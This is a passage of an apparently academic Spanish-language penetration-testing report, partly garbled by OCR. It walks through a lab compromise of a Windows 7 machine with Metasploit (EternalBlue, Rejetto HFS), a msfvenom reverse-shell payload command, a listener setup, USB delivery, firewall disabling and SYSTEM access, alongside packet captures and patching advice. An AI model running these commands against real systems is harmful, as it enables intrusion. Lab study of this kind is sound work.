1496.. 6979.2439632.. 34.149.168.209 192.168.5.165 TCP 66 443 - 53060 [ACK] Seq=1 Ack=518 Win=268288 Len=B TSval=3206791613 TSecr=2384875412
1496.. 6979.3084786.. 34.149.108.289 192.168.5.165 TLSvi.2 222 Server Hello, Change Cipher Spec, Encrypted Handshake Message
1496.. 6979.3016498.. 192.168.5.185 34.149.186.209 TCP 66 53868 — 443 [ACK] Seq=518 Ack=157 Win=32008 Len=8 TSval=2384675473 TSecr=3286791678

b4 7a cB 86 22 4F Bc e5 60 66 09 06 a0 62
8 Td? 8c 4 06 00 B2 84 ©5 b4 64 B2 68 6a €2 85  }x-N--
40 ed Sb 80 BB B8 6 B1 83 B3 87 .

Displayed: 149694 (100.0%) Profile: Default

Fuente: Elaboracion propia.
La captura de paquetes revela un escenario tipico de explotacion de la vulnerabilidad
EternalBlue. Se observa un tréfico de red caracterizado por:

o Establecimiento de conexiones: Paquetes TCP SYN y ACK indican la creacién de
conexiones entre los equipos.

e Resolucién de nombres: El tréfico DNS revela consultas para traducir nombres de
dominio en direcciones IP, lo que es fundamental para alcanzar los servicios deseados.

o Comunicaciones seguras: La presencia de TLSv1.3 sugiere que se estan utilizando
conexiones encriptadas para proteger la confidencialidad de los datos transmitidos, aunque

esto no garantiza la seguridad ante otras amenazas.
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Explotacién: Se identifican paquetes especificos que explotan la vulnerabilidad

EternalBlue, permitiendo al atacante obtener acceso remoto al sistema victima.

Andlisis Detallado:

Fase de Reconocimiento: El atacante inicialmente escanea la red para identificar sistemas
vulnerables y servicios expuestos.

Explotacién: Se envia un paquete especialmente disefiado para aprovechar la
vulnerabilidad en SMBvV1, permitiendo la ejecucion de cédigo en el sistema remoto.
Obtencion de un Shell Inverso: Una vez exitosa la explotacion, se establece un shell
inverso, otorgando al atacante control remoto sobre el sistema comprometido.
Post-Explotacion: Se observan comandos y acciones tipicas de un atacante, como la
recopilacién de informacion del sistema, la busqueda de credenciales y la instalacion de

malware.

Uso de Metasploit:

Metasploit desempefia un papel crucial en este tipo de ataques. Permite:

Crear exploits: Generar payloads personalizados para diferentes sistemas operativos y
arquitecturas.

Establecer conexiones inversas: Facilita la comunicacion entre el atacante y la victima.
Interactuar con el sistema comprometido: Ofrece una interfaz de linea de comandos

para ejecutar comandos en el sistema remoto.

Implicaciones de Seguridad:

La explotacion exitosa de EternalBlue tiene graves consecuencias:
Pérdida de control del sistema: El atacante puede manipular y controlar el sistema a su

antojo.
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e Robo de datos: Informacidn confidencial puede ser exfiltrada.
e Uso como plataforma para otros ataques: El sistema comprometido puede servir como

punto de partida para atacar otros sistemas.

llustracion 104 Meterpreter confirma acceso y ejecuta “sysinfo”

meterpreter > sysinfo

Computer

Architecture
System Language : es_CO
: WORKGROUP
ed On Users : 1
reter : x64/windows

meterpreter >
meterpreter >

Fuente: Elaboracion propia.
Analisis de la Salida de sysinfo en Metasploit
La imagen muestra una captura de pantalla de una sesion de Metasploit, una poderosa
herramienta de prueba de penetracion. Especificamente, estamos viendo la salida del comando
sysinfo después de que un atacante haya obtenido acceso a un sistema remoto (en este caso, una
maquina Windows 7) a través de una explotacion exitosa.
Desglose de la Informacién

« sysinfo: Este comando basico en Metasploit proporciona una vision general de la maquina
comprometida.

e Windows 7 (6.1 Build 7601, Service Pack 1): Confirma que el sistema operativo de la
victima es Windows 7, una version que ha sido objetivo de numerosas vulnerabilidades en
el pasado, como EternalBlue.

e Arquitectura x64: Indica que el sistema es de 64 bits, lo que proporciona informacion
sobre el tipo de software y exploits que se pueden utilizar.

o Idioma del sistema: El sistema esta configurado para el idioma espafiol (es_CO).

o Dominio: La maquina pertenece al grupo de trabajo "WORKGROUP", lo que sugiere que

159



no forma parte de un dominio de Active Directory.

e Usuarios conectados: Actualmente hay un usuario conectado al sistema.

o Meterpreter x64/windows: Confirma que la sesion de Metasploit estd utilizando el
intérprete para sistemas Windows de 64 bits.

Implicaciones de Seguridad
La salida de sysinfo proporciona al atacante una base sélida para planificar sus proximos
pasos. Con esta informacion, el atacante puede:

« ldentificar vulnerabilidades adicionales: Conocer la version exacta del sistema
operativo y el software instalado permite al atacante buscar otras vulnerabilidades que
puedan explotar.

o Elegir las herramientas adecuadas: La arquitectura del sistema y el idioma determinaran
las herramientas y exploits que se pueden utilizar.

o Planificar movimientos laterales: Si el objetivo forma parte de una red mas grande, el
atacante puede utilizar esta informacion para moverse lateralmente y comprometer otros
sistemas.

o [Escalar privilegios: El atacante puede buscar formas de obtener privilegios mas altos en
el sistema, como los de administrador.

Acciones Posteriores del Atacante
Los comandos posteriores run post y getuid sugieren que el atacante esta:

e Ejecutando post-exploits: Estos son médulos de Metasploit disefiados para realizar tareas

especificas después de una explotacion exitosa, como recolectar credenciales, descargar

archivos o ejecutar comandos.
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o Verificando privilegios: EI comando getuid permite al atacante determinar el nivel de
privilegios que ha obtenido en el sistema.
La salida de “sysinfo” proporciona una instantdnea del estado del sistema comprometido.
Esta informacion es invaluable para el atacante, ya que le permite planificar y ejecutar sus acciones
de manera més efectiva.
Por su parte esta informacién subraya la importancia de:
e Mantener los sistemas actualizados: Los parches de seguridad son esenciales para
corregir vulnerabilidades como EternalBlue.
e Segmentar la red: Limitar el movimiento lateral de un atacante en caso de una infeccion.
e Implementar controles de acceso: Restringir los privilegios de los usuarios para
minimizar el dafio en caso de un comprometimiento.
e Monitorear la actividad de la red: Detectar anomalias en el trafico de red que puedan

indicar una actividad maliciosa.

lHustracion 105 En meterpreter ingreso al Shell de Win7

ien 6.1.7601]
Microsoft Corporation. Reservados todos los derechos.

Fuente: Elaboracion propia.
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Analisis Técnico de la Imagen: Acceso a un Sistema Compromiso con Meterpreter

Lo que muestra la imagen:

Sesion de Metasploit: La imagen captura una sesion activa en la herramienta de
explotacion Metasploit.

Comando sysinfo: Este comando se utilizo previamente para obtener informacion basica
sobre el sistema comprometido, como el sistema operativo, arquitectura y configuracion.
Comando shell: EI comando resaltado indica que el atacante ha obtenido un shell
interactivo en el sistema victima. Esto significa que ahora puede ejecutar comandos de
Windows directamente en la maquina comprometida, como si estuviera sentado frente a

ella.

¢ Qué Implicaciones conlleva esta accion?

Acceso remoto: El atacante tiene control total sobre el sistema comprometido desde una
ubicacién remota.
Escalada de privilegios: Dependiendo de las credenciales utilizadas para obtener el acceso
inicial, el atacante puede tener privilegios de administrador o de un usuario estandar.
Posibles acciones maliciosas: Con un shell interactivo, el atacante puede realizar una
amplia gama de acciones maliciosas, como:

o Robo de datos: Copiar archivos confidenciales, bases de datos o credenciales.

o Instalacion de malware: Introducir puertas traseras o ransomware para mantener

el acceso o causar dafios adicionales.
o [Espionaje: Monitorear la actividad del usuario o de la red.
o Sabotaje: Modificar o eliminar archivos, causar dafios al sistema o interrumpir los

Servicios.
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¢ Queé significa la linea C:\Windows\system32>?
Esta linea indica el directorio actual en el sistema comprometido. En este caso, el atacante
se encuentra en el directorio "system32", que es donde se almacenan muchos de los archivos

ejecutables del sistema operativo Windows.

llustracion 106 Busqueda del exploit Rejetto

y - 429 post
s - 11 nops

e Execution

Disclosur k C cription

ows/http/rejetto_hfs L Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution

with a modul ame or index. For

Fuente: Elaboracion propia.

lHustracion 107 Uso del exploit para Rejetto

ry - 429 post
- 11 nops

set RHOST

> set RPORT 8

ZuOPoS.vbs,
1 opened (192.168.5. > 68.5.182: 7 -@580

meter
Computer

Fuente: Elaboracion propia.
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No.

1 ==

Time Source
421 371.876518473 192.168.5.162
422 371.898348796 192.168.5.165
423 371.954967376 192.168.5.162
424 371.955046717 192.168.5.185
45312, 617553593 19. lﬁB 5.102

421312 68355185? 192 lﬁB 5.162
426 372.119893211 152.168.5.185
429 372.174345913 152.168.5.162
436 372.183479748 152.168.5.185
431 372, 236652187 152.168.5.162
432 372, 237669133 152.168.5.185
433 372,299368980 152.168.5.162
434 372, 347177366 152.168.5.165
435 372, 350620487 152.168.5.185
436 372468855692 152.168.5.162
437 372,409182502 152.168.5.185
438 372,416150449 152.168.5.185
439 372.471163876 152.168.5.162
446 372,520748147 152.168.5.185

===

lustracion 108 Trafico al momento de ejecutar la basqueda

Destination

192.168.5.165
192.168.5.162
192.168.5.165
192.168.5.162
192.168.5.165

192.168.5.165
192.168.5.162
192.168.5.165
192.168.5.162
192.168.5.165
192.168.5.162
192.168.5.165
192.168.5.162
192.168.5.162
192.168.5.165
192.168.5.162
192.168.5.162
192.168.5.165

192.168.5.162
2400

Protocal Length Info

245 49184 - 4444 [PSH, ACK] Seq=6838 Ack=419998 Win-63888 Len-132
TCP 182 4444 - 49184 [PSH, ACK] Seq=419998 Ack=6222 Win=31723 Len=128
TCP 399 49184 - 4444 [PSH, ACK] Seq=6222 Ack=426126 Win-63689 Len-336
TCP 245 4044 - 49184 [PSH, ACK] Seq=426126 Ack=6558 Win=31723 Len=132
TCP 230 49184 - 4444 [PSH, ACK] Seq=6558 Ack=420318 Win-63488 Len=176

187 (444 - 45104 [PSH, K] Seq4Z6310 Ack=0134 Wir31123 Lev-128 e

TCP 422 49184 - 4444 [PSH, ACK| Seq=6734 Ack=426446 WLn=63368 Len-368
TP 198 4444 - 49184 [PSH, ACK] Seq=426446 Ack=T162 Win=31723 Len=144
TP 130 49184 - 4444 [PSH, ACK] Seq=7162 Ack=428590 Win-63216 Len=176
TP 278 4444 - 49184 [PSH, ACK] Seq=426599 Ack=T278 Win=31723 Len=224
TP 130 49184 - 4444 [PSH, ACK] Seq=7278 Ack=428614 Win-62392 Len=176
TP 182 4444 - 49184 [PSH, ACK] Seq=426614 Ack=Td454 Win=31723 Len=128
TP 598 49184 - 4444 [PSH, ACK] Seq=7454 Ack=428842 Win-62864 Len=544
TP 54 4444 - 49184 [ACK] Seq=420942 Ack=7998 Win=31723 Len=0

TP 198 4444 - 49184 [PSH, ACK] Seq=426942 Ack=T998 Win=31723 Len=144
TP 130 49184 - 4444 [PSH, ACK] Seq=7998 Ack=421686 Win-64248 Len=176
TP 54 4444 - 49184 [ACK] Seq=421686 Ack=8174 Win=31723 Len=0

TP 198 4444 - 49184 [PSH, ACK] Seq=421686 Ack=B174 Win=31723 Len=144
TP 198 49184 - 4444 [PSH, ACK] Seq=8174 Ack=421230 Win-64696 Len=144
TP 444 - -19184 [ACK] Seq=421239 Ack=8318 Win=31723 Len=8

Fuente: Elaboracion propia.

de red.

La imagen es una captura de pantalla de Wireshark, una herramienta de analisis de paquetes
En la captura se muestran los siguientes elementos:

Listado de Paquetes: Una tabla que presenta los paquetes de red capturados, con columnas
que indican el nimero de paquete, tiempo, fuente, destino, protocolo, longitud y detalles
adicionales.

Paquete Resaltado: Un paquete especifico (No. 426) estd seleccionado, mostrando
informacion como la IP de origen (192.168.5.105), la IP de destino (192.168.5.102), el
protocolo (TCP) y la longitud del paquete (128 bytes).

Detalles del Paquete Seleccionado: Desglose detallado del contenido del paquete en la
seccion inferior, incluyendo encabezados Ethernet, IPy TCP.

Ventana de Informacion Experta: Resimenes y alertas sobre el trafico analizado,
indicando posibles problemas o anomalias en la red.

Esta imagen es (til para el analisis forense de la red, diagnostico de problemas de

conectividad y deteccion de actividades sospechosas en el trafico de red.
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llustracién 109 Comunicacion entre los hosts

Source Destination Protocol Length Info

566 511.528340842 192.168.5.1 239.255.255.250 SsDP 450 NOTIFY * HTTP/1.1

507 511.528341658 192.168.5.1 239.255.205.250 SSDP 489 NOTIFY * HTTP/1.1

568 511.528341688 192.168.5.1 239.255.255.250 SsoP 532 NOTIFY * HTTP/1.1

509 511.529221013 192.168.5.1 239.255.205.250 SSDP 524 NOTIFY * HTTP/1.1

518 511.529221178 192.168.5.1 239.255.255.250 SsoP 469 NOTIFY * HTTP/1.1

511 511.533162391 192.168.5.1 239.255.205.250 SSDP 588 NOTIFY * HTTP/1.1

512 511.533162562 192.168.5.1 239.255.205.250 SSDP 540 NOTIFY * HTTP/1.1

513 511.533162629 192.168.5.1 239.255.255.250 SsoP 469 NOTIFY * HTTP/1.1

514 511.533162657 192.168.5.1 239.255.205.250 SSDP 528 NOTIFY * HTTP/1.1

R15 R11 RIATARS 107 1AR K 1 73Q 9RR JRR 2RA <esnp R27 NNTTEY * HTTR/1 1

516 523.764168778 192.168.5.183 192.168.5.162 TCP 182 4444 ~ 49184 [PSH, ACK] Seq=421822 Ack=9278 Win=31723 Len-128
517 523.827887799 192.168.5.162 192.168.5.185 TCP 262 49184 . 4444 [PSH, ACK] Seq=9278 Ack=421958 Win-63376 Len=268
518 523.827167833 192.168.5.185 192.168.5.162 TCP 54 4444 _ 49184 [ACK] Seq=421950 Ack=3486 Win=31723 Len-9

919 523.628643548 192.168.5.185 192.168.5.102 TCP 214 4444 - 49184 [PSH, ACK] Seq=421950 Ack-9486 Win=31723 Len-160
526 523.889764936 192.168.5.162 192.168.5.185 TCP 246 49184 . 4444 [PSH, ACK] Seq=3486 Ack=422118 Win-63216 Len=192
521 523.917689743 192.168.5.183 192.168.5.102 TCP 182 4444 - 49184 [PSH, ACK] Seq=422118 Ack-9678 Win=31723 Len-128
522 523.968241084 192.168.5.162 192.168.5.185 TCP 198 49184 . 4444 [PSH, ACK] Seq=9678 Ack=422238 Win-63888 Len=144
523 524.051662612 192.168.5.183 192.168.5.102 TCP 54 4444 . 49184 [ACK] Seq=422238 Ack=9822 Win=31723 Len-9

524 524654367492 192.168.5.182 192.168.5.185 TCP 374 49184 . 4444 [PSH, ACK] Seq=9822 Ack=422238 Win-63888 Len=320
525 524.654875614 192.168.5.185 192.168.5.162 TCP 54 4444 - 49184 [ACK] Seq=422238 Ack=18142 Win=31723 Len-8

ptured (145 in ] 690 B8 B8 27 92 88 cB ¢

Fuente: Eaboracién propia.
La imagen muestra una captura de pantalla de Wireshark, una herramienta de analisis de
paquetes de red. Se destacan los siguientes elementos técnicos:

1. Lista de Paquetes Capturados: Una tabla con los detalles de los paquetes de red,
incluyendo nimero de paquete, tiempo, direcciones IP de origen y destino, protocolo y otra
informacion relevante.

2. Paquetes TCP Destacados: Intercambio de paquetes TCP entre las direcciones IP
192.168.5.105 y 192.168.5.102, con informacion sobre nimeros de secuencia, acuse de
recibo, tamafio de ventana y longitud del paquete.

3. Detalle del Paquete Seleccionado: Informacion detallada del marco seleccionado,
incluyendo el tiempo de llegada, tipo de encapsulacion y datos en formato hexadecimal y

ASCILI.
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Esta imagen es crucial para entender el trafico de red, diagnosticar problemas de

conectividad y detectar actividades sospechosas.

lHustracion 110 Ingreso a la maquina objetivo y se verifica ubicacion de la app Rejetto

C mo ti
olumemn

Fuente: Elaboracion propia.

Listado Inicial de Directorios: Muestra los directorios dentro de C:\Users, incluyendo

"Public" y "Rodrigo Méndez".

e Navegacion al Directorio ""Rodrigo Méndez": El usuario se mueve a este directorio
usando el comando cd Rodrigo Méndez.

e Listado dentro de "Rodrigo Méndez": Muestra directorios como "Desktop",
"Documents" y "Downloads".

e Navegacion al Directorio ""Desktop™: El usuario entra al directorio "Desktop™ con el

comando cd Desktop.
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lustracion 111 ubicacién del ejecutable de Rejetto

C:ZUsers‘\Rodrigo Méndez“Desktop>dir

dir
El wolumen de la unidad C no tiene etiqueta.
El nemero de e del volumen es: 64 C

C:\Users“\Rodrigo Méndez"
cd REJETTO

C:\Users“\Rodrigo Méndez“Desktop "REJETTO>]

Fuente: Elaboracion propia.

La imagen muestra una serie de comandos ejecutados en la interfaz de linea de comandos
(CLI) de un sistema operativo Windows. Los comandos estan relacionados con la navegacion de
directorios y la lista de contenido de estos. Las secciones clave estan resaltadas en cuadros
amarillos para mayor claridad.
1. Listado Inicial de Directorios: En el directorio C:\Users\Rodrigo Méndez\Desktop,
mostrando subdirectorios, incluyendo "REJETTO."
2. Comando para Cambiar de Directorio: El usuario navega al directorio "REJETTO" con
el comando cd REJETTO.
3. Listado en el Directorio "REJETTO": Muestra archivos como DarkComet_123456.zip,
hfs.exe, y hfs2.exe, junto con sus tamafos.
Para ejecutar el archivo hfs.exe en la maquina objetivo de manera remota desde una
maquina atacante, puedes usar varias técnicas. A continuacion, te explico un método sencillo

utilizando Metasploit para obtener acceso y ejecutar ese archivo de manera remota, paso a paso:
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Paso 1: Obtener Acceso Remoto a la Maquina Objetivo

Primero, necesito un acceso remoto (una "sesion™ en Metasploit) en la maquina objetivo

para poder ejecutar comandos en ella. Para lograrlo, podrias:
e Generar un Payload y Ejecutarlo Manualmente

Como alternativa, puedes crear un payload en Metasploit y luego encontrar una forma de

ejecutarlo en la maquina Windows 7:

Analisis del trafico

llustracion 112 Analisis de trafico

11598 2335.7289330.. TpLinkTechno_97:8¢:.. Broadcast ARP 60 Who has 192.168.5.1067 Tell 192.168.5.1
+’ 1599 2340.5573014.. 192.168.5.105 192.168.5.102 TCP 182 4444 - 49184 [PSH, ACK] Seq=427614 Ack=23934 Win=31723 Len=128
1 | 1600 2340.6212985.. PCSSystemtec_92:80:.. Broadcast ARP 60 Who has 192.168.5.1057 Tell 192.168.5.162
i | 1601 2340.6213377.. PCSSystemtec_6F:75:. PCSSystemtec_92:80:.. ARP 42192.168.5.105 is at 08:00:27:6f:75:2c
1602 2340.6237318.. 192.168.5.102 192.168.5.105 214 49184 - [PSH, ACK] Seq=23934 Ack=427742 Win=63856 Len=160
1603 2340.6238011.. 192.168.5.105 192.168.5.102 TCP 54 4444 - 49184 [ACK] Seq=427742 Ack=24094 Win=31723 Len=@
1604 2345.8198858.. PCSSystemtec_6f:75:.. PCSSystemtec_92:80:.. ARP 42 Who has 192.168.5.1027 Tell 192.168.5.105
1605 2345.8214605.. PCSSystemtec 92:80:.. PCSSystemtec 6f:75:.. ARP 60 192.168.5.102 1is at ©8:00:27:92:80:c0
1606 2375.4818920.. 192.168.5.1 224.0.0.1 I6MPV3 60 Membership Query, general
1607 2377.0603848.. 192.168.5.106 224.0.0.22 IGHPV3 60 Membership Report / Join group 239.255.255.250 for any sources
1608 2377.5603615.. 192.168.5.106 224.6.0.22 IGMPv3 60 Membership Report / Join group 224.0.8.252 for any sources
1609 2378.0541560.. 192.168.5.162 224.0.0.22 IGMPV3 60 Membership Report / Join group 239.255.255.256 for any sources
1010 23780312170 TPLLNRICCIM0_ 07 8¢ o BT ORUCast ARP BO WO Nas 192.108.9.1007 TELL 192.100.0.1
1611 2380.6556938.. 192.168.5.102 224.6.0.22 IGMPv3 60 Membership Report / Join group 224.0.8.252 for any sources
1612 2380.5620917.. 192.168.5.106 224.0.0.22 IGMPV3 60 Membership Report / Join group 239.255.162.18 for any sources

1613 2382.5646042.. 192,168.5.106 224.0.0.22 IGHPV3 60 Membership Report / Join group 224.0.0.251 for any sources

(1712 bits) on inter ethe, id @

UTC Arrival Tine: Nov 3 4 23:2 € ]
Epoch Arrival Time: 1 580. 116126915 8 b b5 d1 9F €6 bl
[Time chift far thic narket: anfls 3 27 be 5a 6b df db 80

® B eth0: <live capture in progress> Packets: 1613 - Displayed: 1613 (100.0%)

Fuente: Elaboracion propia.

Para poder ejecutar el HFS voy a crear un archivo malicioso. Desde la consola de
Metasploit.
Paso 1: Preparar el Payload con msfvenom

Para ello usaré:

e msfvenom -p windows/meterpreter/reverse_tcp,
e [ HOST=192.168.5.105

e LPORT=4444

o -fexe > payload.exe
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llustracion 113 Creacion del Payload

168 bytes

Fuente: Elaboracion propia.
Ahora verifico que se haya creado y que se guarde segin mis indicaciones PoC name es:
payload.exe

Para ello vamos a la siguiente ruta: “/home/kali/”” usando “Is -1 /home/kali/”

llustracion 114 Verificacion de la Ruta donde esta el Payload

File Actions Edit View Help

) = [

Fuente: Elaboracion propia.
Al Ejecutar “file” para verificar el tipo de archivo:
e Puedes ejecutar el siguiente comando para confirmar que el archivo se generd

correctamente como un ejecutable de Windows.

o Esto deberia devolver una salida que confirme que es un archivo ejecutable de Windows,

como PE32+ executable (GUI) x86-64, for MS Windows.

lHustracion 115 Verificacion de la correcta creacion del archivo ejecutable

— Fal /hume/kr;\‘l.::tfpaylnad.exe
Ahome/s/kalispayload.exe: PE32 executable (GUI) Intel 88386, for MS Windows, 4 sections

Fuente: Elaboracion propia.
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Ahora estando dentro de Metasploit configuramos el payload asi:
e use exploit/multi/handler
e set payload windows/x64/meterpreter/reverse_tcp
e set LHOST 192.168.5.105
e ¢etLPORT 443
e exploit

llustracion 116Configuracion del exploit

ary — 429 post
- 11 nops

+ b+
P
[
1 1 1
[

gy )

Metasploit Documentation: https://docs.metasploit.com/

as background job @.
but no sion wa

] —» 192.168.5.102:49162) at 2024 B3 29:91 -@588

Fuente: Elaboracion propia.

La imagen muestra una captura de pantalla de la herramienta Metasploit, un framework de
pruebas de penetracion. En la terminal se observan los comandos y salidas relacionados con la
configuracién y ejecucion de un exploit utilizando Metasploit.

Resumen Técnico:
1. Configuracién del Payload:
o Elusuario selecciona el médulo exploit/multi/handler.
o Configuracion del payload a windows/meterpreter/reverse_tcp.

o Se establece la direccién IP local (LHOST) a 192.168.5.105.
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o Se configura el puerto local (LPORT) a 443.
o Configuracion para que el exploit no termine tras abrir una sesién (ExitOnSession
= false).
2. Ejecucién del Exploit:
o El comando exploit -j -z lanza el exploit en segundo plano.
o Seinicia un handler TCP inverso en 192.168.5.105:443.
3. Establecimiento de la Sesion:
o Seenvia la etapa del payload al objetivo 192.168.5.102.
o Se abre una sesion Meterpreter (session 1) entre la maquina atacante
(192.168.5.105:443) y la maquina objetivo (192.168.5.102:49162).
Por tanto, la imagen ilustra un proceso tipico de configuracién y ejecucion de exploits en
Metasploit para obtener acceso a un sistema remoto

Ahora se comparte el archivo por medio de una USB al equipo objetivo
llustracion 117 Payload transferido a una USB

W Win7-5E2020-X64 [Corriendo] - Oracle VirtualBox

@thﬁ » Equipo » ESD-USB(E) »

Organizar = Abrir

Mueva carpeta

¥ Favoritos MNombre Fecha de modifica..  Tipo Tamafic
4. Descargas | boot 03/10/2024 04:28 ...  Carpeta de archivos
Bl Escritorio J efi 03/10/ Carpeta de archivos
1= Sitios recientes . REJETTO 01/11/ Carpeta de ar
| SOUrCes 03/10/ Carpeta de ar
= Bibliotecas | support 03/10/ Carpeta de archivos
3 Documentos || _chunk_data 10/ . Archivo 231 KB
=/ Imagenes % | autorun 10, .. Informacion sobre... 1 KB
rJ“- Musica L | bootmgr 10/ w  Archive 463 KB
E Videos bootmagr.efi 10/ 2053,  Archivo EFI 2682 KB
n payload 04/11,/2024 04:20 a... Aplicacion T3 KB
m& Grupo en el hogar Setup TS TS a., pncacion 90 D

1M Equipe
% Disco local (C:)
58 ESD-USB (E)

€l Red

Fuente: Elaboracion propia.

171



Ejecutar el Payload en la Maquina Objetivo para esto en la maquina Windows, se deben
seguir estos pasos:
1. Navegar al Archivo

Ve a la ubicacion donde descargaste payload.exe (el Escritorio).

lustracion 118 Payload en el escritorio del Windows 7

2020 X644 [Corriendol] — C

@
J
|
0]
m
T\

Papelera de
reciclaje

Fuente: Elaboracién propia.
2. Ejecutar el Archivo:
Hacemos doble clic en payload.exe para ejecutarlo. Dependiendo de la configuracion de
seguridad de la maquina, es posible que recibas advertencias. Confirma la ejecucion si es seguro

proceder.

lHustracion 119 Inicio de sesion al ejecutar el payload

Fuente: Elaboracién propia.
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En esta imagen se puede observar que la sesion ya fue establecida entre la maquina atacante
con la IP 192.168.5.105 y la maquina objetivo desde ahora maquina comprometida con la IP
192.168.5.102
Verifica la sesion en Metasploit:

En la consola de Metasploit, uso el comando “sessions -1” para listar todas las sesiones

activas.

lustracion 120 Uso del comando sessions -I

ploit(

Name Type

meterpreter x86/windows P( \R D6 2 3 — 192.168.5.182:49162

Fuente: Elaboracion propia.

La imagen muestra una captura de pantalla de la herramienta Metasploit, un framework de
pruebas de penetracién. En la terminal se observan los comandos y salidas relacionados con la
gestion de sesiones activas en Metasploit.

Resumen Técnico:
1. Intento de Comando:
o El usuario intenta ejecutar el comando “sysinfo”, pero recibe un mensaje de error:
"Unknown command: sysinfo. Run the help command for more details."
2. Comando de Salida:
o El usuario ejecuta el comando exit dos veces. El sistema indica que hay sesiones

activas abiertas y sugiere usar exit -y para salir de todos modos.
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3. Listado de Sesiones Activas:
o Elusuario lista las sesiones activas utilizando el comando sessions -I.
o Lasalida muestra una sesion activa con los siguientes detalles:
= Id: 1

= Nombre: meterpreter x86/windows

Informacién: PC020006\Rodrigo Méndez @ PC020006

Conexion: 192.168.5.105:443 — 192.168.5.102:49162 (192.168.5.102)
Esta imagen es relevante ya que demuestra el proceso de gestion y visualizacién de
sesiones activas en Metasploit, una herramienta popular en pruebas de penetracion
Ahora voy a emplear la técnica ataque pass-the-hash
El ataque comienza cuando un cibercriminal infecta el equipo de un administrador
mediante técnicas de ingenieria social, como un correo de phishing. Esto instala malware sin que
el administrador lo note. Una vez infectado, el cibercriminal puede obtener los hashes de las
contrasefias almacenadas. Con el hash de una cuenta privilegiada, puede evadir el protocolo de
autenticacion, acceder a informacion confidencial y moverse lateralmente en la red para

comprometer otras cuentas privilegiadas (Keeper, s. f.).

Fuente: Elaboracion propia.
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Para poder realizar esta técnica procedo a desactivar el firewall de Win7.

llustraciéon 121 Desactivando el Firewall de Windows 7

@Qv|ﬁ < Firewall de Windows » Personalizar configuracién BENIE

Personalizar la configuraciéon de cada tipo de red
Puede medificar la configuracién del firewall para cada tipo de ubicacitn de red que use.
:Qué son las ubicaciones de red?
Cenfiguracién de ubicacién de red doméstica o del trabajo (privada)
aw ) Activar Firewall de Windows
- Bloguear todas las conexiones entrantes, incluidas las de la lista de programas permitidos
Motificarme cuando Firewall de Windows bloquee un nueve programa
@\ @) Desactivar Firewall de Windows (ne recomendade)
Configuracién de ubicacién de red publica
J aw ) Activar Firewall de Windows
- Bloguear todas las conexiones entrantes, incluidas las de |a lista de programas permitidos
Motificarme cuando Firewall de Windows bloquee un nueve programa

@\ @) Desactivar Firewall de Windows (ne recomendade)

Fuente: Elaboracion propia.

Se procede a desactivar el corta fuegos de la maquina win7

llustracion 122 Escaneo detallado de un sistema con -s\V

Host 1s up (0.§
Not shown: 987
PORT
] tcp e rpc 1 ft Windows RPC
Wi nds nethins
7 - 18 (wor oup: WORKGROUP)

ft HTTPAPI
t HTTPAPI

indows

msrpc
: Host: P 6; 05: CPE: :microsoft:windows

g e tion p L e re y i ct results at https: ap.org/submit/
Nmap done: 1 IP add ] 2 onds

Fuente: Elaboracion propia.
La imagen muestra los resultados de un comando Nmap ejecutado en una terminal. El
comando utilizado es nmap -sV 192.168.5.102, que escanea la direccion IP 192.168.5.102 para

identificar los puertos abiertos y los servicios asociados en especial el que se trata del windows 7.
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Ahora se ingresa a Metasploit, estando en la consola de Metasploit ingresamos el comando

“search EternalBlue” y usaremos el primer exploit.

llustracion 123 Comando search EternalBlue

File Actions Edit View Help

Disclosure Da

2e17 —14

1® Enterpr .
mb/ms17_@1@_ » 7-03-14 normal

normal
ution

normal

ETERNALBLUE -
it/windows/smb/smb_doublepulsar_rce 2017-04-14

teract with a module by name or index. For example f 29,
r intex ting with a module you can manually a TARGET with

Fuente: Elaboracion propia.

Shell No. 1

Description

M517-010 EfEernalBliE SME Rem

MS17-@1@ EternalRomance/Eter

MS17-@1@ EternalRomance/Eter

SMB RCE Detectieon

SME DOUBLEPULSAR Remote Code

La imagen muestra una captura de pantalla de una terminal de comandos, especificamente

del Metasploit Framework (msf6). La captura documenta la busqueda de médulos de explotacion

relacionados con "EternalBlue”, una vulnerabilidad conocida como MS17-010 en el protocolo

SMB de Windows.
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Ahora usamos los comandos use y show options

lustracion 124 Uso del comando show options

File Actions Edit View Help

(x6

implant

with a module by name or index.

interacting with module TARGET with

msf6 >
No

use

ng to windo

Module options ( leoit/windows/smb/msl7_01@ eter

LEL

s Window

for the

indows

TARGET xploit Tz

Windows Embedded

load options

Name

EXITFUNC

LHOST

LPORT
Exploit

Id

@

the full module info with the o X o command .

ploit(

Fuente: Elaboracion propia.

Embedded

windows
achine

none )}

Shell No. 1

En esta imagen se observa el uso del comando show options con la finalidad de saber que

parametros configura para el exploit encontrado.

Iniciamos la configuracion del RHOTS y lanzamos el ataque

lustracion 125 Configuracion del exploit EternalBlue

smb/smb_ms17_@

1 E
ULNERABLE to M517-01@

B

Windows 7 Pro

of 1 hosts (1 complete)

cations.
ploit

1
1
1
1
1
1
1
1
1
1
1
1

Fuente: Elaboracion propia.

Windows 7 Profes
sional
i P
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Como vemos el ataque fue efectivo ya estamos dentro del sistema operativo Win7 de la
maquina objetivo

lustracion 126 Exploit EternalBlue ejecutado

nner/smb/ _ _
VULNERABLE to MS17

id for 0S ind y SMB reply

ec g

ETERNALBLUE

Fuente: Elaboracion propia.
Acé podemos apreciar que después de lanzar el exploit tenemos acceso a la maquina
objetivo por el puerto 445 y una comunicacion con sus direcciones IP 192.168.5.105 y
192.168.5.102, respectivamente.

Verificamos el Authority systmen, con el comando getuid

lustracion 127 Confirmacion de usuario con privilegios administrador

1 -850

Fuente: Elaboracion propia.
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En esta imagen apreciamos que con el uso del comando “getuid” se puede saber los
privilegios con los que fue creada esa cuenta en este caso cuenta con todos los privilegios de
administrador.

Fase de Escalar Privilegios o Post-Explotacion.
Escalacién de Privilegios

o Verifica del nivel de privilegios en la sesién comprometida: getuid

lHustracion 128 Verifica del nivel de privilegios

7 (6.1 Build 76@1, Serwvice Pack 1).

jen 6.1.7601]
oft Corporation. Reservados todos los derechos.

Fuente: Elaboracion propia.

La imagen capturada muestra una sesion de Metasploit en la que se ha obtenido un acceso
remoto a un sistema Windows 7 con los privilegios maximos posibles. Esto significa que el
atacante tiene el mismo nivel de control sobre el sistema que el propio administrador del equipo.
Desglose de la Informacion:

o Comando getuid: Este comando se utiliza para determinar el usuario bajo el cual se esta
ejecutando el proceso actual. En este caso, el resultado NT AUTHORITY\SYSTEM indica
que el atacante estd ejecutando comandos con los privilegios del sistema operativo, es

decir, con los méaximos privilegios posibles.
